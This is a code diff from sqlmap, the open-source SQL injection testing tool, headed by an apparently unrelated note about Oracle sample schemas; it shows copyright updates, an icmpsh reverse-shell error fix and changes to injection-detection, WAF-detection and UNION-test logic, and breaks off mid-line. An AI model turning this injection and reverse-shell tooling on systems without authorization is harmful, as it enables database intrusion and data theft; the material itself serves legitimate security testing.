Minor patch

* Adding sample schemas shipped with Oracle DB

Added sample schemas that are included with the Oracle Guides. They are unbelievably common in live systems from personal experience.

https://docs.oracle.com/cd/E11882_01/server.112/e10575/tdpsg_user_accounts.htm#TDPSG20303

* Adding  as an oracle system database for exclusion

`APPQOSSYS` schema is used by Oracle Database QoS Management

https://docs.oracle.com/cd/E11882_01/server.112/e24611/install_config.htm

.github/CONTRIBUTING.md

@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
 In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
 
 * Each patch should make one logical change.
-* Wrap code to 76 columns when possible.
 * Avoid tabbing, use four blank spaces instead.
 * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
 * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.

.travis.yml

@@ -1,4 +1,7 @@
 language: python
+sudo: false
+git:
+    depth: 1
 python:
     - "2.6"
     - "2.7"

LICENSE

@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.
 
-sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
 
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free

extra/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/beep/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/beep/beep.py

@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound
 
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/cloak/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/cloak/cloak.py

@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility
 
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/dbgtool/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/dbgtool/dbgtool.py

@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter
 
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/icmpsh/icmpsh_m.py

@@ -125,8 +125,12 @@ def main(src, dst):
                 # Have the IP packet contain the ICMP packet (along with its payload)
                 ip.contains(icmp)
 
-                # Send it to the target host
-                sock.sendto(ip.get_packet(), (dst, 0))
+                try:
+                    # Send it to the target host
+                    sock.sendto(ip.get_packet(), (dst, 0))
+                except socket.error, ex:
+                    sys.stderr.write("'%s'\n" % ex)
+                    sys.stderr.flush()
 
 if __name__ == '__main__':
     if len(sys.argv) < 3:

extra/mssqlsig/update.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/safe2bin/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/safe2bin/safe2bin.py

@@ -3,7 +3,7 @@
 """
 safe2bin.py - Simple safe(hex) to binary format converter
 
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/shutils/duplicates.py

@@ -1,6 +1,6 @@
 #!/usr/bin/env python
 
-# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes duplicate entries in wordlist like files

extra/shutils/pypi.sh

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -60,7 +60,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/shutils/regressiontest.py

@@ -1,6 +1,6 @@
 #!/usr/bin/env python
 
-# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 import codecs

extra/sqlharvest/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

extra/sqlharvest/sqlharvest.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/controller/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/controller/action.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/controller/checks.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -47,6 +47,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
+from lib.core.convert import unicodeencode
 from lib.core.defaults import defaults
 from lib.core.data import conf
 from lib.core.data import kb
@@ -54,6 +55,7 @@ from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
@@ -110,6 +112,9 @@ def checkSqlInjection(place, parameter, value):
     if value.isdigit():
         kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
         boundaries = kb.cache.intBoundaries
+    elif value.isalpha():
+        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
+        boundaries = kb.cache.alphaBoundaries
     else:
         boundaries = conf.boundaries
 
@@ -143,8 +148,7 @@ def checkSqlInjection(place, parameter, value):
                 # error message, simple heuristic check or via DBMS-specific
                 # payload), ask the user to limit the tests to the fingerprinted
                 # DBMS
-                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \
-                   SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
+                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                     msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                     msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                     kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -153,9 +157,7 @@ def checkSqlInjection(place, parameter, value):
             # message, via simple heuristic check or via DBMS-specific
             # payload), ask the user to extend the tests to all DBMS-specific,
             # regardless of --level and --risk values provided
-            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \
-               and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
-               kb.heuristicDbms or injection.dbms):
+            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                 msg = "for the remaining tests, do you want to include all tests "
                 msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                 msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -203,7 +205,7 @@ def checkSqlInjection(place, parameter, value):
                     continue
 
                 match = re.search(r"(\d+)-(\d+)", test.request.columns)
-                if injection.data and match:
+                if match and injection.data:
                     lower, upper = int(match.group(1)), int(match.group(2))
                     for _ in (lower, upper):
                         if _ > 1:
@@ -239,9 +241,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip tests if title, vector or DBMS is not included by the
             # given test filter
-            if conf.testFilter and not any(conf.testFilter in str(item) or \
-               re.search(conf.testFilter, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
+            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                     debugMsg = "skipping test '%s' because its " % title
                     debugMsg += "name/vector/DBMS is not included by the given filter"
                     logger.debug(debugMsg)
@@ -249,9 +249,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip tests if title, vector or DBMS is included by the
             # given skip filter
-            if conf.testSkip and any(conf.testSkip in str(item) or \
-               re.search(conf.testSkip, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
+            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                     debugMsg = "skipping test '%s' because its " % title
                     debugMsg += "name/vector/DBMS is included by the given skip filter"
                     logger.debug(debugMsg)
@@ -333,6 +331,23 @@ def checkSqlInjection(place, parameter, value):
                 logger.debug(debugMsg)
                 continue
 
+            if stype == PAYLOAD.TECHNIQUE.UNION:
+                match = re.search(r"(\d+)-(\d+)", test.request.columns)
+                if match and not injection.data:
+                    _ = test.request.columns.split('-')[-1]
+                    if conf.uCols is None and _.isdigit() and int(_) > 10:
+                        if kb.futileUnion is None:
+                            msg = "it is not recommended to perform "
+                            msg += "extended UNION tests if there is not "
+                            msg += "at least one other (potential) "
+                            msg += "technique found. Do you want to skip? [Y/n] "
+                            kb.futileUnion = not readInput(msg, default='Y', boolean=True)
+
+                        if kb.futileUnion is False:
+                            debugMsg = "skipping test '%s'" % title
+                            logger.debug(debugMsg)
+                            continue
+
             infoMsg = "testing '%s'" % title
             logger.info(infoMsg)
 
@@ -439,11 +454,13 @@ def checkSqlInjection(place, parameter, value):
                         boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                         boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                         reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
+
                         if reqPayload:
-                            if reqPayload in seenPayload:
+                            stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
+                            if stripPayload in seenPayload:
                                 continue
                             else:
-                                seenPayload.add(reqPayload)
+                                seenPayload.add(stripPayload)
                     else:
                         reqPayload = None
 
@@ -495,12 +512,16 @@ def checkSqlInjection(place, parameter, value):
                                         errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                         if errorResult:
                                             continue
-                                    elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                         _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                         if _ > kb.matchRatio:
                                             kb.matchRatio = _
                                             logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
 
+                                    # Reducing false-positive "appears" messages in heavily dynamic environment
+                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
+                                        continue
+
                                     injectable = True
 
                                 elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -508,8 +529,13 @@ def checkSqlInjection(place, parameter, value):
                                     trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
                                     falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
 
+                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
+                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n"))
+                                    else:
+                                        errorSet = set()
+
                                     if originalSet == trueSet != falseSet:
-                                        candidates = trueSet - falseSet
+                                        candidates = trueSet - falseSet - errorSet
 
                                         if candidates:
                                             candidates = sorted(candidates, key=lambda _: len(_))
@@ -537,7 +563,13 @@ def checkSqlInjection(place, parameter, value):
                                         falseSet = set(extractTextTagContent(falseRawResponse))
                                         falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
 
-                                        candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
+                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
+                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
+                                            errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
+                                        else:
+                                            errorSet = set()
+
+                                        candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)))
 
                                         if candidates:
                                             candidates = sorted(candidates, key=lambda _: len(_))
@@ -574,10 +606,10 @@ def checkSqlInjection(place, parameter, value):
                             # body for the test's <grep> regular expression
                             try:
                                 page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
-                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
+                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
 
                                 if output:
                                     result = output == "1"
@@ -646,18 +678,6 @@ def checkSqlInjection(place, parameter, value):
                                 infoMsg += "there is at least one other (potential) "
                                 infoMsg += "technique found"
                                 singleTimeLogMessage(infoMsg)
-                            elif not injection.data:
-                                _ = test.request.columns.split('-')[-1]
-                                if _.isdigit() and int(_) > 10:
-                                    if kb.futileUnion is None:
-                                        msg = "it is not recommended to perform "
-                                        msg += "extended UNION tests if there is not "
-                                        msg += "at least one other (potential) "
-                                        msg += "technique found. Do you want to skip? [Y/n] "
-
-                                        kb.futileUnion = not readInput(msg, default='Y', boolean=True)
-                                    if kb.futileUnion is False:
-                                        continue
 
                             # Test for UNION query SQL injection
                             reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -674,7 +694,7 @@ def checkSqlInjection(place, parameter, value):
 
                         kb.previousMethod = method
 
-                        if conf.dummy or conf.offline:
+                        if conf.offline:
                             injectable = False
 
                     # If the injection test was successful feed the injection
@@ -816,6 +836,7 @@ def checkSqlInjection(place, parameter, value):
 
     return injection
 
+@stackedmethod
 def heuristicCheckDbms(injection):
     """
     This functions is called when boolean-based blind is identified with a
@@ -852,6 +873,7 @@ def heuristicCheckDbms(injection):
 
     return retVal
 
+@stackedmethod
 def checkFalsePositives(injection):
     """
     Checks for false positives (only in single special cases)
@@ -859,8 +881,7 @@ def checkFalsePositives(injection):
 
     retVal = True
 
-    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
-      (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
+    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
         pushValue(kb.injection)
 
         infoMsg = "checking if the injection point on %s " % injection.place
@@ -914,6 +935,7 @@ def checkFalsePositives(injection):
 
     return retVal
 
+@stackedmethod
 def checkSuhosinPatch(injection):
     """
     Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -921,7 +943,7 @@ def checkSuhosinPatch(injection):
 
     if injection.place == PLACE.GET:
         debugMsg = "checking for parameter length "
-        debugMsg += "constrainting mechanisms"
+        debugMsg += "constraining mechanisms"
         logger.debug(debugMsg)
 
         pushValue(kb.injection)
@@ -930,13 +952,14 @@ def checkSuhosinPatch(injection):
         randInt = randomInt()
 
         if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
-            warnMsg = "parameter length constrainting "
+            warnMsg = "parameter length constraining "
             warnMsg += "mechanism detected (e.g. Suhosin patch). "
             warnMsg += "Potential problems in enumeration phase can be expected"
             logger.warn(warnMsg)
 
         kb.injection = popValue()
 
+@stackedmethod
 def checkFilteredChars(injection):
     debugMsg = "checking for filtered characters"
     logger.debug(debugMsg)
@@ -957,7 +980,7 @@ def checkFilteredChars(injection):
 
     # inference techniques depend on character '>'
     if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
-        if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)):
+        if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
             warnMsg = "it appears that the character '>' is "
             warnMsg += "filtered by the back-end server. You are strongly "
             warnMsg += "advised to rerun with the '--tamper=between'"
@@ -971,6 +994,11 @@ def heuristicCheckSqlInjection(place, parameter):
         logger.debug(debugMsg)
         return None
 
+    if kb.heavilyDynamic:
+        debugMsg = "heuristic check skipped because of heavy dynamicity"
+        logger.debug(debugMsg)
+        return None
+
     origValue = conf.paramDict[place][parameter]
     paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
 
@@ -1054,13 +1082,13 @@ def heuristicCheckSqlInjection(place, parameter):
 
     if value.lower() in (page or "").lower():
         infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
-        infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
+        infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter
         logger.info(infoMsg)
 
     for match in re.finditer(FI_ERROR_REGEX, page or ""):
         if randStr1.lower() in match.group(0).lower():
             infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
-            infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
+            infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter
             logger.info(infoMsg)
             break
 
@@ -1157,6 +1185,8 @@ def checkDynamicContent(firstPage, secondPage):
             warnMsg += "sqlmap is going to retry the request(s)"
             singleTimeLogMessage(warnMsg, logging.CRITICAL)
 
+            kb.heavilyDynamic = True
+
             secondPage, _, _ = Request.queryPage(content=True)
             findDynamicContent(firstPage, secondPage)
 
@@ -1292,6 +1322,7 @@ def checkRegexp():
 
     return True
 
+@stackedmethod
 def checkWaf():
     """
     Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1318,14 +1349,19 @@ def checkWaf():
     retVal = False
     payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
 
-    value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
-    value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload))
+    if PLACE.URI in conf.parameters:
+        place = PLACE.POST
+        value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
+    else:
+        place = PLACE.GET
+        value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
+        value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
 
     pushValue(conf.timeout)
     conf.timeout = IDS_WAF_CHECK_TIMEOUT
 
     try:
-        retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
+        retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
     except SqlmapConnectionException:
         retVal = True
     finally:
@@ -1352,6 +1388,7 @@ def checkWaf():
 
     return retVal
 
+@stackedmethod
 def identifyWaf():
     if not conf.identifyWaf:
         return None
@@ -1436,6 +1473,7 @@ def identifyWaf():
 
     return retVal
 
+@stackedmethod
 def checkNullConnection():
     """
     Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1447,11 +1485,11 @@ def checkNullConnection():
     infoMsg = "testing NULL connection to the target URL"
     logger.info(infoMsg)
 
-    try:
-        pushValue(kb.pageCompress)
-        kb.pageCompress = False
+    pushValue(kb.pageCompress)
+    kb.pageCompress = False
 
-        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
+    try:
+        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
 
         if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
             kb.nullConnection = NULLCONNECTION.HEAD
@@ -1475,9 +1513,8 @@ def checkNullConnection():
                     infoMsg = "NULL connection is supported with 'skip-read' method"
                     logger.info(infoMsg)
 
-    except SqlmapConnectionException, ex:
-        errMsg = getSafeExString(ex)
-        raise SqlmapConnectionException(errMsg)
+    except SqlmapConnectionException:
+        pass
 
     finally:
         kb.pageCompress = popValue()
@@ -1485,18 +1522,19 @@ def checkNullConnection():
     return kb.nullConnection is not None
 
 def checkConnection(suppressOutput=False):
-    if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
-        try:
-            debugMsg = "resolving hostname '%s'" % conf.hostname
-            logger.debug(debugMsg)
-            socket.getaddrinfo(conf.hostname, None)
-        except socket.gaierror:
-            errMsg = "host '%s' does not exist" % conf.hostname
-            raise SqlmapConnectionException(errMsg)
-        except socket.error, ex:
-            errMsg = "problem occurred while "
-            errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
-            raise SqlmapConnectionException(errMsg)
+    if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
+        if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
+            try:
+                debugMsg = "resolving hostname '%s'" % conf.hostname
+                logger.debug(debugMsg)
+                socket.getaddrinfo(conf.hostname, None)
+            except socket.gaierror:
+                errMsg = "host '%s' does not exist" % conf.hostname
+                raise SqlmapConnectionException(errMsg)
+            except socket.error, ex:
+                errMsg = "problem occurred while "
+                errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
+                raise SqlmapConnectionException(errMsg)
 
     if not suppressOutput and not conf.dummy and not conf.offline:
         infoMsg = "testing connection to the target URL"
@@ -1524,6 +1562,16 @@ def checkConnection(suppressOutput=False):
         else:
             kb.errorIsNone = True
 
+
+        threadData = getCurrentThreadData()
+
+        if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
+            if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
+                conf.url = re.sub(r"https?://", "https://", conf.url)
+                match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
+                port = match.group(1) if match else 443
+                conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
+
     except SqlmapConnectionException, ex:
         if conf.ipv6:
             warnMsg = "check connection to a provided "
@@ -1554,8 +1602,8 @@ def checkInternet():
     content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
     return CHECK_INTERNET_VALUE in (content or "")
 
-def setVerbosity():  # Cross-linked function
+def setVerbosity():  # Cross-referenced function
     raise NotImplementedError
 
-def setWafFunctions():  # Cross-linked function
+def setWafFunctions():  # Cross-referenced function
     raise NotImplementedError

lib/controller/controller.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -43,6 +43,7 @@ from lib.core.common import urldecode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -152,12 +153,15 @@ def _formatInjection(inj):
             vector = "%s%s" % (vector, comment)
         data += "    Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
         data += "    Title: %s\n" % title
-        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
+        data += "    Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
         data += "    Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
 
     return data
 
 def _showInjections():
+    if conf.wizard and kb.wizardMode:
+        kb.wizardMode = False
+
     if kb.testQueryCount > 0:
         header = "sqlmap identified the following injection point(s) with "
         header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -250,6 +254,7 @@ def _saveToResultsFile():
 
     conf.resultsFP.flush()
 
+@stackedmethod
 def start():
     """
     This function calls a function that performs checks on both URL
@@ -283,7 +288,7 @@ def start():
         try:
 
             if conf.checkInternet:
-                infoMsg = "[INFO] checking for Internet connection"
+                infoMsg = "checking for Internet connection"
                 logger.info(infoMsg)
 
                 if not checkInternet():
@@ -368,9 +373,8 @@ def start():
                             conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
 
                         else:
-                            if targetUrl.find("?") > -1:
-                                firstPart = targetUrl[:targetUrl.find("?")]
-                                secondPart = targetUrl[targetUrl.find("?") + 1:]
+                            if '?' in targetUrl:
+                                firstPart, secondPart = targetUrl.split('?', 1)
                                 message = "Edit GET data [default: %s]: " % secondPart
                                 test = readInput(message, default=secondPart)
                                 test = _randomFillBlankFields(test)
@@ -404,8 +408,7 @@ def start():
             if conf.nullConnection:
                 checkNullConnection()
 
-            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
